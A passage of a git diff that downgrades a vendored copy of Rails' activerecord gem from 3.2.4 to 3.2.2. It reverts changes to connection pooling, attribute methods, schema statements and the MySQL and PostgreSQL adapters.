:belongs_to - raise HasManyThroughCantAssociateThroughHasOneOrManyReflection.new(owner, reflection) - end - end - def ensure_not_nested if reflection.nested? raise HasManyThroughNestedAssociationsAreReadonly.new(owner, reflection) diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/attribute_assignment.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/attribute_assignment.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/attribute_assignment.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/attribute_assignment.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/attribute_methods.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/attribute_methods.rb similarity index 98% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/attribute_methods.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/attribute_methods.rb index 06b66b5195..0dbc737de0 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/attribute_methods.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/attribute_methods.rb @@ -64,7 +64,6 @@ module ActiveRecord return if attribute_methods_generated? superclass.define_attribute_methods unless self == base_class super(column_names) - column_names.each { |name| define_external_attribute_method(name) } @attribute_methods_generated = true end end @@ -213,7 +212,7 @@ module ActiveRecord # nil nor empty? (the latter only applies to objects that respond to empty?, most notably Strings). def attribute_present?(attribute) value = read_attribute(attribute) - !value.nil? && !(value.respond_to?(:empty?) && value.empty?) + !value.nil? || (value.respond_to?(:empty?) && !value.empty?) end # Returns the column object for the named attribute. diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/attribute_methods/before_type_cast.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/attribute_methods/before_type_cast.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/attribute_methods/before_type_cast.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/attribute_methods/before_type_cast.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/attribute_methods/deprecated_underscore_read.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/attribute_methods/deprecated_underscore_read.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/attribute_methods/deprecated_underscore_read.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/attribute_methods/deprecated_underscore_read.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/attribute_methods/dirty.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/attribute_methods/dirty.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/attribute_methods/dirty.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/attribute_methods/dirty.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/attribute_methods/primary_key.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/attribute_methods/primary_key.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/attribute_methods/primary_key.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/attribute_methods/primary_key.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/attribute_methods/query.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/attribute_methods/query.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/attribute_methods/query.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/attribute_methods/query.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/attribute_methods/read.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/attribute_methods/read.rb similarity index 95% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/attribute_methods/read.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/attribute_methods/read.rb index a438de7c28..1548114580 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/attribute_methods/read.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/attribute_methods/read.rb @@ -67,9 +67,19 @@ module ActiveRecord # we first define with the __temp__ identifier, and then use alias method to # rename it to what we want. def define_method_attribute(attr_name) + cast_code = attribute_cast_code(attr_name) + generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1 def __temp__ - #{internal_attribute_access_code(attr_name, attribute_cast_code(attr_name))} + #{internal_attribute_access_code(attr_name, cast_code)} + end + alias_method '#{attr_name}', :__temp__ + undef_method :__temp__ + STR + + generated_external_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1 + def __temp__(v, attributes, attributes_cache, attr_name) + #{external_attribute_access_code(attr_name, cast_code)} end alias_method '#{attr_name}', :__temp__ undef_method :__temp__ @@ -77,17 +87,6 @@ module ActiveRecord end private - - def define_external_attribute_method(attr_name) - generated_external_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1 - def __temp__(v, attributes, attributes_cache, attr_name) - #{external_attribute_access_code(attr_name, attribute_cast_code(attr_name))} - end - alias_method '#{attr_name}', :__temp__ - undef_method :__temp__ - STR - end - def cacheable_column?(column) attribute_types_cached_by_default.include?(column.type) end diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/attribute_methods/serialization.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/attribute_methods/serialization.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/attribute_methods/serialization.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/attribute_methods/serialization.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/attribute_methods/time_zone_conversion.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/attribute_methods/time_zone_conversion.rb similarity index 98% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/attribute_methods/time_zone_conversion.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/attribute_methods/time_zone_conversion.rb index c9b2edbd8c..17cf34cdf6 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/attribute_methods/time_zone_conversion.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/attribute_methods/time_zone_conversion.rb @@ -43,7 +43,6 @@ module ActiveRecord end time = time.in_time_zone rescue nil if time write_attribute(:#{attr_name}, original_time) - #{attr_name}_will_change! @attributes_cache["#{attr_name}"] = time end EOV diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/attribute_methods/write.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/attribute_methods/write.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/attribute_methods/write.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/attribute_methods/write.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/autosave_association.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/autosave_association.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/autosave_association.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/autosave_association.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/base.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/base.rb similarity index 99% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/base.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/base.rb index 9746efc7d1..9c4d4cb274 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/base.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/base.rb @@ -208,9 +208,6 @@ module ActiveRecord #:nodoc: # # Now 'Bob' exist and is an 'admin' # User.find_or_create_by_name('Bob', :age => 40) { |u| u.admin = true } # - # Adding an exclamation point (!) on to the end of find_or_create_by_ will - # raise an ActiveRecord::RecordInvalid error if the new record is invalid. - # # Use the find_or_initialize_by_ finder if you want to return a new record without # saving it first. Protected attributes won't be set unless they are given in a block. # @@ -442,7 +439,7 @@ module ActiveRecord #:nodoc: if self == ActiveRecord::Base ActiveRecord::Base else - connection_handler.retrieve_connection_pool(self) ? self : superclass.arel_engine + connection_handler.connection_pools[name] ? self : superclass.arel_engine end end end diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/callbacks.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/callbacks.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/callbacks.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/callbacks.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/coders/yaml_column.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/coders/yaml_column.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/coders/yaml_column.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/coders/yaml_column.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/abstract/connection_pool.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/abstract/connection_pool.rb similarity index 88% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/abstract/connection_pool.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/abstract/connection_pool.rb index d4649102df..698da34d26 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/abstract/connection_pool.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/abstract/connection_pool.rb @@ -92,18 +92,13 @@ module ActiveRecord # #connection can be called any number of times; the connection is # held in a hash keyed by the thread id. def connection - synchronize do - @reserved_connections[current_connection_id] ||= checkout - end + @reserved_connections[current_connection_id] ||= checkout end - # Is there an open connection that is being used for the current thread? + # Check to see if there is an active connection in this connection + # pool. def active_connection? - synchronize do - @reserved_connections.fetch(current_connection_id) { - return false - }.in_use? - end + active_connections.any? end # Signal that the thread is finished with the current connection. @@ -230,9 +225,8 @@ connection. For example: ActiveRecord::Base.connection.close # - ConnectionTimeoutError: no connection can be obtained from the pool # within the timeout period. def checkout + # Checkout an available connection synchronize do - waited_time = 0 - loop do conn = @connections.find { |c| c.lease } @@ -248,25 +242,17 @@ connection. For example: ActiveRecord::Base.connection.close return conn end - if waited_time >= @timeout - raise ConnectionTimeoutError, "could not obtain a database connection#{" within #{@timeout} seconds" if @timeout} (waited #{waited_time} seconds). The max pool size is currently #{@size}; consider increasing it." - end + @queue.wait(@timeout) - # Sometimes our wait can end because a connection is available, - # but another thread can snatch it up first. If timeout hasn't - # passed but no connection is avail, looks like that happened -- - # loop and wait again, for the time remaining on our timeout. - before_wait = Time.now - @queue.wait( [@timeout - waited_time, 0].max ) - waited_time += (Time.now - before_wait) - - # Will go away in Rails 4, when we don't clean up - # after leaked connections automatically anymore. Right now, clean - # up after we've returned from a 'wait' if it looks like it's - # needed, then loop and try again. - if(active_connections.size >= @connections.size) + if(active_connections.size < @connections.size) + next + else clear_stale_cached_connections! + if @size == active_connections.size + raise ConnectionTimeoutError, "could not obtain a database connection#{" within #{@timeout} seconds" if @timeout}. The max pool size is currently #{@size}; consider increasing it." + end end + end end end @@ -282,29 +268,11 @@ connection. For example: ActiveRecord::Base.connection.close conn.expire @queue.signal end - - release conn end end private - def release(conn) - synchronize do - thread_id = nil - - if @reserved_connections[current_connection_id] == conn - thread_id = current_connection_id - else - thread_id = @reserved_connections.keys.find { |k| - @reserved_connections[k] == conn - } - end - - @reserved_connections.delete thread_id if thread_id - end - end - def new_connection ActiveRecord::Base.send(spec.adapter_method, spec.config) end @@ -376,7 +344,9 @@ connection. For example: ActiveRecord::Base.connection.close connection_pools.values.any? { |pool| pool.active_connection? } end - # Returns any connections in use by the current thread back to the pool. + # Returns any connections in use by the current thread back to the pool, + # and also returns connections to the pool cached by threads that are no + # longer alive. def clear_active_connections! @connection_pools.each_value {|pool| pool.release_connection } end diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/abstract/connection_specification.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/abstract/connection_specification.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/abstract/connection_specification.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/abstract/connection_specification.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/abstract/database_limits.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/abstract/database_limits.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/abstract/database_limits.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/abstract/database_limits.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/abstract/database_statements.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/abstract/database_statements.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/abstract/database_statements.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/abstract/database_statements.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/abstract/query_cache.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/abstract/query_cache.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/abstract/query_cache.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/abstract/query_cache.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/abstract/quoting.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/abstract/quoting.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/abstract/quoting.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/abstract/quoting.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/abstract/schema_definitions.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/abstract/schema_definitions.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/abstract/schema_definitions.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/abstract/schema_definitions.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/abstract/schema_statements.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/abstract/schema_statements.rb similarity index 97% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/abstract/schema_statements.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/abstract/schema_statements.rb index 08c3917d7e..f79b18390e 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/abstract/schema_statements.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/abstract/schema_statements.rb @@ -160,7 +160,7 @@ module ActiveRecord yield td if block_given? if options[:force] && table_exists?(table_name) - drop_table(table_name, options) + drop_table(table_name) end create_sql = "CREATE#{' TEMPORARY' if options[:temporary]} TABLE " @@ -252,7 +252,7 @@ module ActiveRecord end # Drops a table from the database. - def drop_table(table_name, options = {}) + def drop_table(table_name) execute "DROP TABLE #{quote_table_name(table_name)}" end @@ -269,15 +269,7 @@ module ActiveRecord # remove_column(:suppliers, :qualification) # remove_columns(:suppliers, :qualification, :experience) def remove_column(table_name, *column_names) - if column_names.flatten! - message = 'Passing array to remove_columns is deprecated, please use ' + - 'multiple arguments, like: `remove_columns(:posts, :foo, :bar)`' - ActiveSupport::Deprecation.warn message, caller - end - - columns_for_remove(table_name, *column_names).each do |column_name| - execute "ALTER TABLE #{quote_table_name(table_name)} DROP #{column_name}" - end + columns_for_remove(table_name, *column_names).each {|column_name| execute "ALTER TABLE #{quote_table_name(table_name)} DROP #{column_name}" } end alias :remove_columns :remove_column @@ -516,8 +508,8 @@ module ActiveRecord # ===== Examples # add_timestamps(:suppliers) def add_timestamps(table_name) - add_column table_name, :created_at, :datetime - add_column table_name, :updated_at, :datetime + add_column table_name, :created_at, :datetime, :null => false + add_column table_name, :updated_at, :datetime, :null => false end # Removes the timestamp columns (created_at and updated_at) from the table definition. diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/abstract_adapter.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/abstract_adapter.rb similarity index 99% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/abstract_adapter.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/abstract_adapter.rb index 63071909ad..7d024a5549 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/abstract_adapter.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/abstract_adapter.rb @@ -54,7 +54,7 @@ module ActiveRecord define_callbacks :checkout, :checkin attr_accessor :visitor, :pool - attr_reader :schema_cache, :last_use, :in_use, :logger + attr_reader :schema_cache, :last_use, :in_use alias :in_use? :in_use def initialize(connection, logger = nil, pool = nil) #:nodoc: diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/abstract_mysql_adapter.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/abstract_mysql_adapter.rb similarity index 96% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/abstract_mysql_adapter.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/abstract_mysql_adapter.rb index 2658c444d1..729e20d707 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/abstract_mysql_adapter.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/abstract_mysql_adapter.rb @@ -484,26 +484,15 @@ module ActiveRecord # Maps logical Rails types to MySQL-specific data types. def type_to_sql(type, limit = nil, precision = nil, scale = nil) - case type.to_s - when 'integer' - case limit - when 1; 'tinyint' - when 2; 'smallint' - when 3; 'mediumint' - when nil, 4, 11; 'int(11)' # compatibility with MySQL default - when 5..8; 'bigint' - else raise(ActiveRecordError, "No integer type has byte size #{limit}") - end - when 'text' - case limit - when 0..0xff; 'tinytext' - when nil, 0x100..0xffff; 'text' - when 0x10000..0xffffff; 'mediumtext' - when 0x1000000..0xffffffff; 'longtext' - else raise(ActiveRecordError, "No text type has character length #{limit}") - end - else - super + return super unless type.to_s == 'integer' + + case limit + when 1; 'tinyint' + when 2; 'smallint' + when 3; 'mediumint' + when nil, 4, 11; 'int(11)' # compatibility with MySQL default + when 5..8; 'bigint' + else raise(ActiveRecordError, "No integer type has byte size #{limit}") end end @@ -525,7 +514,7 @@ module ActiveRecord def pk_and_sequence_for(table) execute_and_free("SHOW CREATE TABLE #{quote_table_name(table)}", 'SCHEMA') do |result| create_table = each_hash(result).first[:"Create Table"] - if create_table.to_s =~ /PRIMARY KEY\s+(?:USING\s+\w+\s+)?\((.+)\)/ + if create_table.to_s =~ /PRIMARY KEY\s+\((.+)\)/ keys = $1.split(",").map { |key| key.gsub(/[`"]/, "") } keys.length == 1 ? [keys.first, nil] : nil else diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/column.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/column.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/column.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/column.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/mysql2_adapter.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/mysql2_adapter.rb similarity index 99% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/mysql2_adapter.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/mysql2_adapter.rb index 524a7d30fc..d95f3fbc1f 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/mysql2_adapter.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/mysql2_adapter.rb @@ -264,7 +264,7 @@ module ActiveRecord # increase timeout so mysql server doesn't disconnect us wait_timeout = @config[:wait_timeout] - wait_timeout = 2147483 unless wait_timeout.is_a?(Fixnum) + wait_timeout = 2592000 unless wait_timeout.is_a?(Fixnum) variable_assignments << "@@wait_timeout = #{wait_timeout}" execute("SET #{variable_assignments.join(', ')}", :skip_logging) diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/mysql_adapter.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/mysql_adapter.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/mysql_adapter.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/mysql_adapter.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/postgresql_adapter.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/postgresql_adapter.rb similarity index 98% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/postgresql_adapter.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/postgresql_adapter.rb index 2d1517b65e..470c9c6ef3 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/postgresql_adapter.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/postgresql_adapter.rb @@ -885,7 +885,7 @@ module ActiveRecord # This should be not be called manually but set in database.yml. def schema_search_path=(schema_csv) if schema_csv - execute("SET search_path TO #{schema_csv}", 'SCHEMA') + execute "SET search_path TO #{schema_csv}" @schema_search_path = schema_csv end end @@ -1067,25 +1067,14 @@ module ActiveRecord # Maps logical Rails types to PostgreSQL-specific data types. def type_to_sql(type, limit = nil, precision = nil, scale = nil) - case type.to_s - when 'binary' - # PostgreSQL doesn't support limits on binary (bytea) columns. - # The hard limit is 1Gb, because of a 32-bit size field, and TOAST. - case limit - when nil, 0..0x3fffffff; super(type) - else raise(ActiveRecordError, "No binary type has byte size #{limit}.") - end - when 'integer' - return 'integer' unless limit - - case limit - when 1, 2; 'smallint' - when 3, 4; 'integer' - when 5..8; 'bigint' - else raise(ActiveRecordError, "No integer type has byte size #{limit}. Use a numeric with precision 0 instead.") - end - else - super + return super unless type.to_s == 'integer' + return 'integer' unless limit + + case limit + when 1, 2; 'smallint' + when 3, 4; 'integer' + when 5..8; 'bigint' + else raise(ActiveRecordError, "No integer type has byte size #{limit}. Use a numeric with precision 0 instead.") end end diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/schema_cache.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/schema_cache.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/schema_cache.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/schema_cache.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/sqlite3_adapter.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/sqlite3_adapter.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/sqlite3_adapter.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/sqlite3_adapter.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/sqlite_adapter.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/sqlite_adapter.rb similarity index 97% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/sqlite_adapter.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/sqlite_adapter.rb index 00f74318c0..ad0d0d7170 100644 --- a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/sqlite_adapter.rb +++ b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/sqlite_adapter.rb @@ -204,7 +204,7 @@ module ActiveRecord value = super if column.type == :string && value.encoding == Encoding::ASCII_8BIT - logger.error "Binary data inserted for `string` type on column `#{column.name}`" if logger + @logger.error "Binary data inserted for `string` type on column `#{column.name}`" value.encode! 'utf-8' end value @@ -407,14 +407,7 @@ module ActiveRecord def remove_column(table_name, *column_names) #:nodoc: raise ArgumentError.new("You must specify at least one column name. Example: remove_column(:people, :first_name)") if column_names.empty? - - if column_names.flatten! - message = 'Passing array to remove_columns is deprecated, please use ' + - 'multiple arguments, like: `remove_columns(:posts, :foo, :bar)`' - ActiveSupport::Deprecation.warn message, caller - end - - column_names.each do |column_name| + column_names.flatten.each do |column_name| alter_table(table_name) do |definition| definition.columns.delete(definition[column_name]) end diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/statement_pool.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/statement_pool.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/connection_adapters/statement_pool.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/connection_adapters/statement_pool.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/counter_cache.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/counter_cache.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/counter_cache.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/counter_cache.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/dynamic_finder_match.rb b/lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/dynamic_finder_match.rb similarity index 84% rename from lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.4/lib/active_record/dynamic_finder_match.rb rename to lib/gemcache/ruby/1.9.1/gems/activerecord-3.2.2/lib/active_record/dynamic_finder_match.rb index 80b17a27df..b309df9b1b 100644 --- 